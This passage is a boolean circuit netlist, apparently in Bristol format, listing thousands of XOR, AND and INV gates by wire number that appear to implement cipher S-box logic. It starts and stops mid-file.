1 23291 23292 35225 XOR +2 1 32721 23326 35227 XOR +1 1 15068 32897 INV +1 1 15065 32902 INV +1 1 15066 32903 INV +1 1 15067 32904 INV +1 1 18262 32945 INV +2 1 32945 35255 6558 XOR +1 1 18263 32946 INV +1 1 18264 32947 INV +1 1 18265 32948 INV +1 1 20070 32973 INV +1 1 20071 32974 INV +1 1 20072 32975 INV +1 1 20069 32980 INV +1 1 23407 33025 INV +1 1 23408 33026 INV +1 1 23405 33031 INV +1 1 23406 33032 INV +1 1 5040 33229 INV +2 1 33229 34845 5219 XOR +2 1 5219 5218 34749 XOR +2 1 34749 424 33469 XOR +2 1 33467 33469 20251 XOR +2 1 20251 20346 20331 XOR +2 1 33466 33469 20344 XOR +2 1 20344 20267 20340 XOR +2 1 20251 20257 20339 XOR +2 1 20267 20339 20337 XOR +2 1 20250 20344 20336 XOR +2 1 33462 20336 20335 XOR +2 1 20253 20251 20213 XOR +2 1 20250 20213 20334 XOR +2 1 33469 33463 20345 XOR +2 1 33469 33464 20343 XOR +2 1 20336 20340 20329 AND +2 1 20329 20253 20256 XOR +2 1 20337 20335 20328 AND +2 1 20345 20330 20326 AND +2 1 20326 20251 20255 XOR +2 1 20339 20332 20324 AND +2 1 20344 20333 20323 AND +2 1 20323 20252 20254 XOR +2 1 20256 20254 20260 XOR +2 1 33469 20260 20265 XOR +2 1 20346 20331 20322 AND +2 1 20322 20328 20274 XOR +2 1 20274 20265 20320 XOR +2 1 20322 20323 20226 XOR +2 1 20226 20227 20273 XOR +2 1 20273 20255 20272 XOR +2 1 20325 20272 20319 XOR +2 1 20343 20334 20321 AND +2 1 20321 20324 20275 XOR +2 1 20321 20327 20279 XOR +2 1 20279 20251 20266 XOR +2 1 20274 20266 20317 XOR +2 1 20322 20275 20269 XOR +2 1 20255 20275 20229 XOR +2 1 20229 20254 20318 XOR +2 1 20260 20279 20228 XOR +2 1 33467 20228 20271 XOR +2 1 20325 20269 20225 XOR +2 1 33463 20225 20312 XOR +2 1 20320 20319 20316 AND +2 1 20316 20271 20311 XOR +2 1 20316 20318 20315 XOR +2 1 20317 20315 20314 AND +2 1 20314 20271 20313 XOR +2 1 20314 20326 20220 XOR +2 1 20220 20256 20216 XOR +2 1 33469 20216 20219 XOR +2 1 20314 20265 20217 XOR +2 1 33467 20216 20215 XOR +2 1 20311 20312 20310 AND +2 1 20310 20318 20309 XOR +2 1 20316 20310 20308 XOR +2 1 20310 20269 20224 XOR +2 1 20310 20327 20223 XOR +2 1 20223 20324 20218 XOR +2 1 20218 20219 20301 XOR +2 1 20318 20308 20307 AND +2 1 20307 20315 20305 XOR +2 1 20307 20325 20278 XOR +2 1 20278 20272 20299 XOR +2 1 33463 20278 20261 XOR +2 1 20261 20224 20306 XOR +2 1 20313 20305 20304 AND +2 1 20304 20274 20264 XOR +2 1 20264 20266 20303 XOR +2 1 20304 20328 20222 XOR +2 1 20261 20222 20214 XOR +2 1 20251 20214 20221 XOR +2 1 20218 20221 20302 XOR +2 1 20264 20217 20300 XOR +2 1 20214 20215 20298 XOR +2 1 20299 20336 20297 AND +2 1 20306 20335 20296 AND +2 1 20309 33462 20295 AND +2 1 20295 20297 20277 XOR +2 1 20300 20330 20294 AND +2 1 20303 20342 20293 AND +2 1 20313 20332 20292 AND +2 1 20292 20293 20231 XOR +2 1 20301 20333 20291 AND +2 1 20298 20331 20290 AND +2 1 20290 20293 20246 XOR +1 1 20246 20243 INV +2 1 20290 20291 20242 XOR +2 1 20302 20334 20289 AND +2 1 20299 20340 20288 AND +2 1 20306 20337 20287 AND +2 1 20309 20341 20286 AND +2 1 20300 20345 20285 AND +2 1 20285 20289 20262 XOR +2 1 20294 20285 20247 XOR +1 1 20262 20240 INV +2 1 20303 20338 20284 AND +2 1 20292 20284 20249 XOR +2 1 20313 20339 20283 AND +2 1 20240 20283 20239 XOR +2 1 20239 20277 20235 XOR +2 1 20301 20344 20282 AND +2 1 20282 20235 20238 XOR +2 1 20298 20346 20281 AND +2 1 20281 20282 20276 XOR +2 1 20287 20276 20258 XOR +2 1 20288 20258 20259 XOR +2 1 20296 20259 20263 XOR +2 1 20297 20263 20268 XOR +2 1 20249 20276 20245 XOR +2 1 20277 20245 20248 XOR +2 1 20247 20248 20350 XOR +2 1 20240 20245 20244 XOR +2 1 20243 20244 20349 XOR +2 1 20268 20242 20348 XOR +2 1 20258 20235 20234 XOR +2 1 20295 20263 20232 XOR +2 1 20231 20232 35057 XOR +2 1 35053 35057 5842 XOR +2 1 20302 20343 20280 AND +2 1 20291 20280 20241 XOR +1 1 20241 20237 INV +2 1 20237 20238 20347 XOR +2 1 33229 34829 5202 XOR +2 1 5203 5202 34738 XOR +2 1 34738 435 33458 XOR +2 1 33458 33460 18307 XOR +2 1 33458 33461 18398 XOR +2 1 33456 33458 18400 XOR +2 1 18305 18400 18385 XOR +2 1 18307 18305 18267 XOR +2 1 18307 33459 18266 XOR +2 1 33454 18266 18395 XOR +2 1 18395 33454 18381 AND +2 1 18400 18385 18376 AND +2 1 33229 32755 5196 XOR +2 1 5197 5196 5198 XOR +1 1 5198 34735 INV +2 1 34735 438 33455 XOR +2 1 33455 18396 18392 XOR +2 1 33455 33456 18321 XOR +2 1 18321 18393 18391 XOR +2 1 18398 18321 18394 XOR +2 1 33461 33455 18399 XOR +2 1 18396 18392 18379 AND +2 1 33229 34828 5200 XOR +2 1 5201 5200 34737 XOR +2 1 34737 436 33457 XOR +2 1 33455 33457 18304 XOR +2 1 33456 18304 18306 XOR +2 1 33460 18306 18387 XOR +2 1 33459 18306 18384 XOR +2 1 18311 18306 18386 XOR +2 1 18304 18398 18390 XOR +2 1 33454 18390 18389 XOR +2 1 33457 33456 18281 XOR +2 1 18304 18267 18388 XOR +2 1 18390 18394 18383 AND +2 1 18383 18307 18310 XOR +2 1 18391 18389 18382 AND +2 1 18376 18382 18328 XOR +2 1 18399 18384 18380 AND +2 1 18380 18305 18309 XOR +2 1 18393 18386 18378 AND +2 1 18398 18387 18377 AND +2 1 18377 18306 18308 XOR +2 1 18310 18308 18314 XOR +2 1 33461 18314 18319 XOR +2 1 18328 18319 18374 XOR +2 1 18376 18377 18280 XOR +2 1 18280 18281 18327 XOR +2 1 18327 18309 18326 XOR +2 1 18379 18326 18373 XOR +2 1 18397 18388 18375 AND +2 1 18375 18378 18329 XOR +2 1 18375 18381 18333 XOR +2 1 18333 18305 18320 XOR +2 1 18328 18320 18371 XOR +2 1 18376 18329 18323 XOR +2 1 18309 18329 18283 XOR +2 1 18283 18308 18372 XOR +2 1 18314 18333 18282 XOR +2 1 33459 18282 18325 XOR +2 1 18379 18323 18279 XOR +2 1 33455 18279 18366 XOR +2 1 18374 18373 18370 AND +2 1 18370 18325 18365 XOR +2 1 18370 18372 18369 XOR +2 1 18371 18369 18368 AND +2 1 18368 18325 18367 XOR +2 1 18368 18380 18274 XOR +2 1 18274 18310 18270 XOR +2 1 33461 18270 18273 XOR +2 1 18368 18319 18271 XOR +2 1 33459 18270 18269 XOR +2 1 18365 18366 18364 AND +2 1 18364 18372 18363 XOR +2 1 18370 18364 18362 XOR +2 1 18364 18323 18278 XOR +2 1 18364 18381 18277 XOR +2 1 18277 18378 18272 XOR +2 1 18272 18273 18355 XOR +2 1 18372 18362 18361 AND +2 1 18361 18369 18359 XOR +2 1 18361 18379 18332 XOR +2 1 18332 18326 18353 XOR +2 1 33455 18332 18315 XOR +2 1 18315 18278 18360 XOR +2 1 18367 18359 18358 AND +2 1 18358 18328 18318 XOR +2 1 18318 18320 18357 XOR +2 1 18358 18382 18276 XOR +2 1 18315 18276 18268 XOR +2 1 18305 18268 18275 XOR +2 1 18272 18275 18356 XOR +2 1 18318 18271 18354 XOR +2 1 18268 18269 18352 XOR +2 1 18353 18390 18351 AND +2 1 18360 18389 18350 AND +2 1 18363 33454 18349 AND +2 1 18349 18351 18331 XOR +2 1 18354 18384 18348 AND +2 1 18357 18396 18347 AND +2 1 18367 18386 18346 AND +2 1 18346 18347 18285 XOR +2 1 18355 18387 18345 AND +2 1 18352 18385 18344 AND +2 1 18344 18347 18300 XOR +1 1 18300 18297 INV +2 1 18344 18345 18296 XOR +2 1 18356 18388 18343 AND +2 1 18353 18394 18342 AND +2 1 18360 18391 18341 AND +2 1 18363 18395 18340 AND +2 1 18354 18399 18339 AND +2 1 18339 18343 18316 XOR +2 1 18348 18339 18301 XOR +1 1 18316 18294 INV +2 1 18357 18392 18338 AND +2 1 18346 18338 18303 XOR +2 1 18367 18393 18337 AND +2 1 18294 18337 18293 XOR +2 1 18293 18331 18289 XOR +2 1 18355 18398 18336 AND +2 1 18336 18289 18292 XOR +2 1 18352 18400 18335 AND +2 1 18335 18336 18330 XOR +2 1 18341 18330 18312 XOR +2 1 18342 18312 18313 XOR +2 1 18350 18313 18317 XOR +2 1 18351 18317 18322 XOR +2 1 18303 18330 18299 XOR +2 1 18331 18299 18302 XOR +2 1 18301 18302 18404 XOR +2 1 18294 18299 18298 XOR +2 1 18297 18298 18403 XOR +2 1 18322 18296 18402 XOR +2 1 18312 18289 18288 XOR +2 1 18349 18317 18286 XOR +2 1 18285 18286 34996 XOR +2 1 18356 18397 18334 AND +2 1 18345 18334 18295 XOR +1 1 18295 18291 INV +2 1 18291 18292 18401 XOR +1 1 18402 34999 INV +1 1 18401 34998 INV +2 1 32985 34998 5881 XOR +2 1 32986 34999 5879 XOR +2 1 35003 34996 5616 XOR +2 1 34992 34996 5893 XOR +2 1 32773 18401 5756 XOR +1 1 5893 5775 INV +2 1 32774 18402 5754 XOR +2 1 18347 18348 32685 XOR +2 1 18344 32685 18324 XOR +2 1 18345 18324 18284 XOR +2 1 18313 18284 35000 XOR +2 1 34994 35000 5829 XOR +2 1 5829 34992 5619 XOR +1 1 5829 5922 INV +2 1 35000 35005 5830 XOR +2 1 18340 18324 18290 XOR +2 1 5922 34993 5774 XOR +1 1 5830 5764 INV +1 1 18290 18287 INV +2 1 18287 18288 34995 XOR +2 1 34991 34995 5620 XOR +2 1 5619 5620 5898 XOR +2 1 34995 35002 5868 XOR +1 1 5868 5751 INV +2 1 5893 5751 5762 XOR +2 1 5751 34991 5749 XOR +2 1 32685 18322 34997 XOR +2 1 34993 34997 5884 XOR +2 1 35004 34997 5758 XOR +2 1 20293 20294 32699 XOR +2 1 32699 20268 35058 XOR +2 1 35058 35057 5630 XOR +2 1 20290 32699 20270 XOR +2 1 20286 20270 20236 XOR +1 1 20236 20233 INV +2 1 20233 20234 35056 XOR +2 1 20291 20270 20230 XOR +2 1 20259 20230 35059 XOR +2 1 35055 35059 5837 XOR +2 1 5837 35056 5576 XOR +2 1 5576 5577 5916 XOR +1 1 18403 32951 INV +2 1 32951 35001 5870 XOR +2 1 5764 32951 5768 XOR +1 1 18404 32952 INV +2 1 32952 32775 5869 XOR +2 1 5922 32952 5617 XOR +2 1 5617 5618 5899 XOR +1 1 20347 32981 INV +2 1 32955 32981 5847 XOR +1 1 5847 5818 INV +1 1 20348 32982 INV +2 1 32982 32956 5789 XOR +2 1 32982 32981 5778 XOR +1 1 20349 32983 INV +2 1 32983 32949 5796 XOR +1 1 20350 32984 INV +2 1 32984 32950 5575 XOR +1 1 5045 33236 INV +2 1 33236 34847 5085 XOR +2 1 5086 5085 5087 XOR +1 1 5087 34785 INV +2 1 34785 388 33505 XOR +2 1 33236 32916 5082 XOR +2 1 5083 5082 34783 XOR +2 1 34783 390 33503 XOR +2 1 33236 32768 5054 XOR +2 1 5054 5053 34765 XOR +2 1 34765 408 33485 XOR +2 1 33483 33485 21919 XOR +2 1 21919 22014 21999 XOR +2 1 33482 33485 22012 XOR +2 1 22012 21935 22008 XOR +2 1 21919 21925 22007 XOR +2 1 21935 22007 22005 XOR +2 1 21918 22012 22004 XOR +2 1 33478 22004 22003 XOR +2 1 21921 21919 21881 XOR +2 1 21918 21881 22002 XOR +2 1 33485 33479 22013 XOR +2 1 33485 33480 22011 XOR +2 1 22004 22008 21997 AND +2 1 21997 21921 21924 XOR +2 1 22005 22003 21996 AND +2 1 22013 21998 21994 AND +2 1 21994 21919 21923 XOR +2 1 22007 22000 21992 AND +2 1 22012 22001 21991 AND +2 1 21991 21920 21922 XOR +2 1 21924 21922 21928 XOR +2 1 33485 21928 21933 XOR +2 1 22014 21999 21990 AND +2 1 21990 21996 21942 XOR +2 1 21942 21933 21988 XOR +2 1 21990 21991 21894 XOR +2 1 21894 21895 21941 XOR +2 1 21941 21923 21940 XOR +2 1 21993 21940 21987 XOR +2 1 22011 22002 21989 AND +2 1 21989 21992 21943 XOR +2 1 21989 21995 21947 XOR +2 1 21947 21919 21934 XOR +2 1 21942 21934 21985 XOR +2 1 21990 21943 21937 XOR +2 1 21923 21943 21897 XOR +2 1 21897 21922 21986 XOR +2 1 21928 21947 21896 XOR +2 1 33483 21896 21939 XOR +2 1 21993 21937 21893 XOR +2 1 33479 21893 21980 XOR +2 1 21988 21987 21984 AND +2 1 21984 21939 21979 XOR +2 1 21984 21986 21983 XOR +2 1 21985 21983 21982 AND +2 1 21982 21939 21981 XOR +2 1 21982 21994 21888 XOR +2 1 21888 21924 21884 XOR +2 1 33485 21884 21887 XOR +2 1 21982 21933 21885 XOR +2 1 33483 21884 21883 XOR +2 1 21979 21980 21978 AND +2 1 21978 21986 21977 XOR +2 1 21984 21978 21976 XOR +2 1 21978 21937 21892 XOR +2 1 21978 21995 21891 XOR +2 1 21891 21992 21886 XOR +2 1 21886 21887 21969 XOR +2 1 21986 21976 21975 AND +2 1 21975 21983 21973 XOR +2 1 21975 21993 21946 XOR +2 1 21946 21940 21967 XOR +2 1 33479 21946 21929 XOR +2 1 21929 21892 21974 XOR +2 1 21981 21973 21972 AND +2 1 21972 21942 21932 XOR +2 1 21932 21934 21971 XOR +2 1 21972 21996 21890 XOR +2 1 21929 21890 21882 XOR +2 1 21919 21882 21889 XOR +2 1 21886 21889 21970 XOR +2 1 21932 21885 21968 XOR +2 1 21882 21883 21966 XOR +2 1 21967 22004 21965 AND +2 1 21974 22003 21964 AND +2 1 21977 33478 21963 AND +2 1 21963 21965 21945 XOR +2 1 21968 21998 21962 AND +2 1 21971 22010 21961 AND +2 1 21981 22000 21960 AND +2 1 21960 21961 21899 XOR +2 1 21969 22001 21959 AND +2 1 21966 21999 21958 AND +2 1 21958 21961 21914 XOR +1 1 21914 21911 INV +2 1 21958 21959 21910 XOR +2 1 21970 22002 21957 AND +2 1 21967 22008 21956 AND +2 1 21974 22005 21955 AND +2 1 21977 22009 21954 AND +2 1 21968 22013 21953 AND +2 1 21953 21957 21930 XOR +2 1 21962 21953 21915 XOR +1 1 21930 21908 INV +2 1 21971 22006 21952 AND +2 1 21960 21952 21917 XOR +2 1 21981 22007 21951 AND +2 1 21908 21951 21907 XOR +2 1 21907 21945 21903 XOR +2 1 21969 22012 21950 AND +2 1 21950 21903 21906 XOR +2 1 21966 22014 21949 AND +2 1 21949 21950 21944 XOR +2 1 21955 21944 21926 XOR +2 1 21956 21926 21927 XOR +2 1 21964 21927 21931 XOR +2 1 21965 21931 21936 XOR +2 1 21917 21944 21913 XOR +2 1 21945 21913 21916 XOR +2 1 21915 21916 22018 XOR +2 1 21908 21913 21912 XOR +2 1 21911 21912 22017 XOR +2 1 21936 21910 22016 XOR +2 1 21926 21903 21902 XOR +2 1 21963 21931 21900 XOR +2 1 21899 21900 35029 XOR +2 1 35029 35034 5875 XOR +1 1 5875 5642 INV +2 1 35035 35029 5606 XOR +2 1 21970 22011 21948 AND +2 1 21959 21948 21909 XOR +1 1 21909 21905 INV +2 1 21905 21906 22015 XOR +2 1 33503 33505 23447 XOR +2 1 33504 23447 23449 XOR +2 1 33508 23449 23530 XOR +2 1 33507 23449 23527 XOR +2 1 23454 23449 23529 XOR +2 1 33503 23539 23535 XOR +2 1 23447 23541 23533 XOR +2 1 33502 23533 23532 XOR +2 1 33503 33504 23464 XOR +2 1 23464 23536 23534 XOR +2 1 23541 23464 23537 XOR +2 1 33505 33504 23424 XOR +2 1 23447 23410 23531 XOR +2 1 33509 33503 23542 XOR +2 1 23533 23537 23526 AND +2 1 23526 23450 23453 XOR +2 1 23534 23532 23525 AND +2 1 23519 23525 23471 XOR +2 1 23542 23527 23523 AND +2 1 23523 23448 23452 XOR +2 1 23539 23535 23522 AND +2 1 23536 23529 23521 AND +2 1 23541 23530 23520 AND +2 1 23520 23449 23451 XOR +2 1 23453 23451 23457 XOR +2 1 33509 23457 23462 XOR +2 1 23471 23462 23517 XOR +2 1 23519 23520 23423 XOR +2 1 23423 23424 23470 XOR +2 1 23470 23452 23469 XOR +2 1 23522 23469 23516 XOR +2 1 23540 23531 23518 AND +2 1 23518 23521 23472 XOR +2 1 23518 23524 23476 XOR +2 1 23476 23448 23463 XOR +2 1 23471 23463 23514 XOR +2 1 23519 23472 23466 XOR +2 1 23452 23472 23426 XOR +2 1 23426 23451 23515 XOR +2 1 23457 23476 23425 XOR +2 1 33507 23425 23468 XOR +2 1 23522 23466 23422 XOR +2 1 33503 23422 23509 XOR +2 1 23517 23516 23513 AND +2 1 23513 23468 23508 XOR +2 1 23513 23515 23512 XOR +2 1 23514 23512 23511 AND +2 1 23511 23468 23510 XOR +2 1 23511 23523 23417 XOR +2 1 23417 23453 23413 XOR +2 1 33509 23413 23416 XOR +2 1 23511 23462 23414 XOR +2 1 33507 23413 23412 XOR +2 1 23508 23509 23507 AND +2 1 23507 23515 23506 XOR +2 1 23513 23507 23505 XOR +2 1 23507 23466 23421 XOR +2 1 23507 23524 23420 XOR +2 1 23420 23521 23415 XOR +2 1 23415 23416 23498 XOR +2 1 23515 23505 23504 AND +2 1 23504 23512 23502 XOR +2 1 23504 23522 23475 XOR +2 1 23475 23469 23496 XOR +2 1 33503 23475 23458 XOR +2 1 23458 23421 23503 XOR +2 1 23510 23502 23501 AND +2 1 23501 23471 23461 XOR +2 1 23461 23463 23500 XOR +2 1 23501 23525 23419 XOR +2 1 23458 23419 23411 XOR +2 1 23448 23411 23418 XOR +2 1 23415 23418 23499 XOR +2 1 23461 23414 23497 XOR +2 1 23411 23412 23495 XOR +2 1 23496 23533 23494 AND +2 1 23503 23532 23493 AND +2 1 23506 33502 23492 AND +2 1 23492 23494 23474 XOR +2 1 23497 23527 23491 AND +2 1 23500 23539 23490 AND +2 1 23510 23529 23489 AND +2 1 23489 23490 23428 XOR +2 1 23498 23530 23488 AND +2 1 23495 23528 23487 AND +2 1 23487 23490 23443 XOR +1 1 23443 23440 INV +2 1 23487 23488 23439 XOR +2 1 23499 23531 23486 AND +2 1 23496 23537 23485 AND +2 1 23503 23534 23484 AND +2 1 23506 23538 23483 AND +2 1 23497 23542 23482 AND +2 1 23482 23486 23459 XOR +2 1 23491 23482 23444 XOR +1 1 23459 23437 INV +2 1 23500 23535 23481 AND +2 1 23489 23481 23446 XOR +2 1 23510 23536 23480 AND +2 1 23437 23480 23436 XOR +2 1 23436 23474 23432 XOR +2 1 23498 23541 23479 AND +2 1 23479 23432 23435 XOR +2 1 23495 23543 23478 AND +2 1 23478 23479 23473 XOR +2 1 23484 23473 23455 XOR +2 1 23485 23455 23456 XOR +2 1 23493 23456 23460 XOR +2 1 23494 23460 23465 XOR +2 1 23446 23473 23442 XOR +2 1 23474 23442 23445 XOR +2 1 23444 23445 23547 XOR +2 1 23437 23442 23441 XOR +2 1 23440 23441 23546 XOR +2 1 23465 23439 23545 XOR +2 1 23455 23432 23431 XOR +2 1 23492 23460 23429 XOR +2 1 23428 23429 35061 XOR +2 1 23499 23540 23477 AND +2 1 23488 23477 23438 XOR +1 1 23438 23434 INV +2 1 23434 23435 23544 XOR +2 1 21961 21962 32711 XOR +2 1 32711 21936 35030 XOR +2 1 35030 35035 5867 XOR +1 1 5867 5639 INV +2 1 25641 35030 5683 XOR +2 1 21958 32711 21938 XOR +2 1 21954 21938 21904 XOR +1 1 21904 21901 INV +2 1 21901 21902 35028 XOR +2 1 5604 35028 5603 XOR +2 1 35028 35033 5882 XOR +1 1 5882 5658 INV +2 1 21959 21938 21898 XOR +2 1 21927 21898 35031 XOR +2 1 35031 35038 5827 XOR +2 1 23490 23491 32722 XOR +2 1 23487 32722 23467 XOR +2 1 23483 23467 23433 XOR +2 1 23488 23467 23427 XOR +2 1 23456 23427 35063 XOR +2 1 35059 35063 5822 XOR +2 1 5822 35061 5629 XOR +2 1 5629 5630 5894 XOR +1 1 5822 5921 INV +2 1 5921 32983 5785 XOR +1 1 23433 23430 INV +2 1 23430 23431 35060 XOR +2 1 35061 35060 5591 XOR +2 1 35056 35060 5840 XOR +2 1 5842 5840 5781 XOR +2 1 32722 23465 35062 XOR +2 1 35058 35062 5839 XOR +2 1 5847 5839 5779 XOR +2 1 5837 35062 5794 XOR +1 1 22018 33005 INV +2 1 25643 33005 5600 XOR +2 1 33005 33068 5890 XOR +2 1 5890 5831 5659 XOR +1 1 22015 33010 INV +2 1 33010 35036 5860 XOR +2 1 25642 33010 5678 XOR +1 1 22016 33011 INV +2 1 35038 33011 5675 XOR +2 1 33011 35037 5853 XOR +1 1 22017 33012 INV +2 1 5611 33012 5686 XOR +2 1 33012 35032 5889 XOR +1 1 23546 33029 INV +2 1 5837 33029 5574 XOR +2 1 5574 5575 5917 XOR +2 1 33029 35052 5632 XOR +2 1 32983 33029 5852 XOR +1 1 23547 33030 INV +2 1 32984 33030 5872 XOR +2 1 33030 32949 5589 XOR +1 1 23544 33035 INV +2 1 5818 33035 5816 XOR +1 1 23545 33036 INV +2 1 32982 33036 5845 XOR +2 1 5845 32955 5800 XOR +2 1 5921 33036 5813 XOR +1 1 5827 33228 INV +2 1 33228 35029 5668 XOR +2 1 33228 33012 5672 XOR +2 1 33228 35030 5666 XOR +1 1 5039 33237 INV +2 1 33237 34803 5120 XOR +2 1 5121 5120 34690 XOR +2 1 34690 483 33410 XOR +2 1 33410 33412 20948 XOR +2 1 33410 33413 21039 XOR +2 1 21039 20962 21035 XOR +2 1 33408 33410 21041 XOR +2 1 20946 21041 21026 XOR +2 1 20948 20946 20908 XOR +2 1 20948 33411 20907 XOR +2 1 33406 20907 21036 XOR +2 1 21036 33406 21022 AND +2 1 21041 21026 21017 AND +2 1 33237 34805 5245 XOR +2 1 5245 5244 4971 XOR +2 1 4971 4974 34689 XOR +2 1 34689 484 33409 XOR +2 1 33407 33409 20945 XOR +2 1 33408 20945 20947 XOR +2 1 33412 20947 21028 XOR +2 1 33411 20947 21025 XOR +2 1 20952 20947 21027 XOR +2 1 20945 21039 21031 XOR +2 1 33406 21031 21030 XOR +2 1 33409 33408 20922 XOR +2 1 20945 20908 21029 XOR +2 1 21031 21035 21024 AND +2 1 21024 20948 20951 XOR +2 1 21032 21030 21023 AND +2 1 21017 21023 20969 XOR +2 1 21040 21025 21021 AND +2 1 21021 20946 20950 XOR +2 1 21034 21027 21019 AND +2 1 21039 21028 21018 AND +2 1 21018 20947 20949 XOR +2 1 20951 20949 20955 XOR +2 1 33413 20955 20960 XOR +2 1 20969 20960 21015 XOR +2 1 21017 21018 20921 XOR +2 1 20921 20922 20968 XOR +2 1 20968 20950 20967 XOR +2 1 21020 20967 21014 XOR +2 1 21038 21029 21016 AND +2 1 21016 21019 20970 XOR +2 1 21016 21022 20974 XOR +2 1 20974 20946 20961 XOR +2 1 20969 20961 21012 XOR +2 1 21017 20970 20964 XOR +2 1 20950 20970 20924 XOR +2 1 20924 20949 21013 XOR +2 1 20955 20974 20923 XOR +2 1 33411 20923 20966 XOR +2 1 21020 20964 20920 XOR +2 1 33407 20920 21007 XOR +2 1 21015 21014 21011 AND +2 1 21011 20966 21006 XOR +2 1 21011 21013 21010 XOR +2 1 21012 21010 21009 AND +2 1 21009 20966 21008 XOR +2 1 21009 21021 20915 XOR +2 1 20915 20951 20911 XOR +2 1 33413 20911 20914 XOR +2 1 21009 20960 20912 XOR +2 1 33411 20911 20910 XOR +2 1 21006 21007 21005 AND +2 1 21005 21013 21004 XOR +2 1 21011 21005 21003 XOR +2 1 21005 20964 20919 XOR +2 1 21005 21022 20918 XOR +2 1 20918 21019 20913 XOR +2 1 20913 20914 20996 XOR +2 1 21013 21003 21002 AND +2 1 21002 21010 21000 XOR +2 1 21002 21020 20973 XOR +2 1 20973 20967 20994 XOR +2 1 33407 20973 20956 XOR +2 1 20956 20919 21001 XOR +2 1 21008 21000 20999 AND +2 1 20999 20969 20959 XOR +2 1 20959 20961 20998 XOR +2 1 20999 21023 20917 XOR +2 1 20956 20917 20909 XOR +2 1 20946 20909 20916 XOR +2 1 20913 20916 20997 XOR +2 1 20959 20912 20995 XOR +2 1 20909 20910 20993 XOR +2 1 20994 21031 20992 AND +2 1 21001 21030 20991 AND +2 1 21004 33406 20990 AND +2 1 20990 20992 20972 XOR +2 1 20995 21025 20989 AND +2 1 20998 21037 20988 AND +2 1 21008 21027 20987 AND +2 1 20987 20988 20926 XOR +2 1 20996 21028 20986 AND +2 1 20993 21026 20985 AND +2 1 20985 20988 20941 XOR +1 1 20941 20938 INV +2 1 20985 20986 20937 XOR +2 1 20997 21029 20984 AND +2 1 20994 21035 20983 AND +2 1 21001 21032 20982 AND +2 1 21004 21036 20981 AND +2 1 20995 21040 20980 AND +2 1 20980 20984 20957 XOR +2 1 20989 20980 20942 XOR +1 1 20957 20935 INV +2 1 20998 21033 20979 AND +2 1 20987 20979 20944 XOR +2 1 21008 21034 20978 AND +2 1 20935 20978 20934 XOR +2 1 20934 20972 20930 XOR +2 1 20996 21039 20977 AND +2 1 20977 20930 20933 XOR +2 1 20993 21041 20976 AND +2 1 20976 20977 20971 XOR +2 1 20982 20971 20953 XOR +2 1 20983 20953 20954 XOR +2 1 20991 20954 20958 XOR +2 1 20992 20958 20963 XOR +2 1 20944 20971 20940 XOR +2 1 20972 20940 20943 XOR +2 1 20942 20943 21045 XOR +2 1 20935 20940 20939 XOR +2 1 20938 20939 21044 XOR +2 1 20963 20937 21043 XOR +2 1 21043 35000 5661 XOR +2 1 20953 20930 20929 XOR +2 1 20990 20958 20927 XOR +2 1 20926 20927 35007 XOR +2 1 35007 34997 5579 XOR +2 1 35003 35007 5883 XOR +2 1 5898 5883 34874 XOR +2 1 34874 372 33521 XOR +2 1 20997 21038 20975 AND +2 1 20986 20975 20936 XOR +1 1 20936 20932 INV +2 1 20932 20933 21042 XOR +1 1 21043 35009 INV +2 1 32774 35009 5873 XOR +2 1 5873 32985 5680 XOR +2 1 5764 35007 5763 XOR +2 1 5762 5763 34882 XOR +2 1 34882 364 33529 XOR +2 1 5873 5829 5742 XOR +2 1 35005 5742 34894 XOR +2 1 34894 352 33541 XOR +2 1 5881 5873 5771 XOR +2 1 32986 5771 34877 XOR +2 1 34877 369 33524 XOR +2 1 5879 21043 5755 XOR +2 1 5755 5756 34885 XOR +2 1 34885 361 33532 XOR +2 1 5884 5883 5748 XOR +1 1 5748 5746 INV +2 1 33237 32740 5208 XOR +2 1 5208 5207 34669 XOR +2 1 34669 504 33389 XOR +2 1 33387 33389 22336 XOR +2 1 22336 22431 22416 XOR +2 1 33386 33389 22429 XOR +2 1 22429 22352 22425 XOR +2 1 22336 22342 22424 XOR +2 1 22352 22424 22422 XOR +2 1 22335 22429 22421 XOR +2 1 33382 22421 22420 XOR +2 1 22338 22336 22298 XOR +2 1 22335 22298 22419 XOR +2 1 33389 33383 22430 XOR +2 1 33389 33384 22428 XOR +2 1 22421 22425 22414 AND +2 1 22414 22338 22341 XOR +2 1 22422 22420 22413 AND +2 1 22430 22415 22411 AND +2 1 22411 22336 22340 XOR +2 1 22424 22417 22409 AND +2 1 22429 22418 22408 AND +2 1 22408 22337 22339 XOR +2 1 22341 22339 22345 XOR +2 1 33389 22345 22350 XOR +2 1 22431 22416 22407 AND +2 1 22407 22413 22359 XOR +2 1 22359 22350 22405 XOR +2 1 22407 22408 22311 XOR +2 1 22311 22312 22358 XOR +2 1 22358 22340 22357 XOR +2 1 22410 22357 22404 XOR +2 1 22428 22419 22406 AND +2 1 22406 22409 22360 XOR +2 1 22406 22412 22364 XOR +2 1 22364 22336 22351 XOR +2 1 22359 22351 22402 XOR +2 1 22407 22360 22354 XOR +2 1 22340 22360 22314 XOR +2 1 22314 22339 22403 XOR +2 1 22345 22364 22313 XOR +2 1 33387 22313 22356 XOR +2 1 22410 22354 22310 XOR +2 1 33383 22310 22397 XOR +2 1 22405 22404 22401 AND +2 1 22401 22356 22396 XOR +2 1 22401 22403 22400 XOR +2 1 22402 22400 22399 AND +2 1 22399 22356 22398 XOR +2 1 22399 22411 22305 XOR +2 1 22305 22341 22301 XOR +2 1 33389 22301 22304 XOR +2 1 22399 22350 22302 XOR +2 1 33387 22301 22300 XOR +2 1 22396 22397 22395 AND +2 1 22395 22403 22394 XOR +2 1 22401 22395 22393 XOR +2 1 22395 22354 22309 XOR +2 1 22395 22412 22308 XOR +2 1 22308 22409 22303 XOR +2 1 22303 22304 22386 XOR +2 1 22403 22393 22392 AND +2 1 22392 22400 22390 XOR +2 1 22392 22410 22363 XOR +2 1 22363 22357 22384 XOR +2 1 33383 22363 22346 XOR +2 1 22346 22309 22391 XOR +2 1 22398 22390 22389 AND +2 1 22389 22359 22349 XOR +2 1 22349 22351 22388 XOR +2 1 22389 22413 22307 XOR +2 1 22346 22307 22299 XOR +2 1 22336 22299 22306 XOR +2 1 22303 22306 22387 XOR +2 1 22349 22302 22385 XOR +2 1 22299 22300 22383 XOR +2 1 22384 22421 22382 AND +2 1 22391 22420 22381 AND +2 1 22394 33382 22380 AND +2 1 22380 22382 22362 XOR +2 1 22385 22415 22379 AND +2 1 22388 22427 22378 AND +2 1 22398 22417 22377 AND +2 1 22377 22378 22316 XOR +2 1 22386 22418 22376 AND +2 1 22383 22416 22375 AND +2 1 22375 22378 22331 XOR +1 1 22331 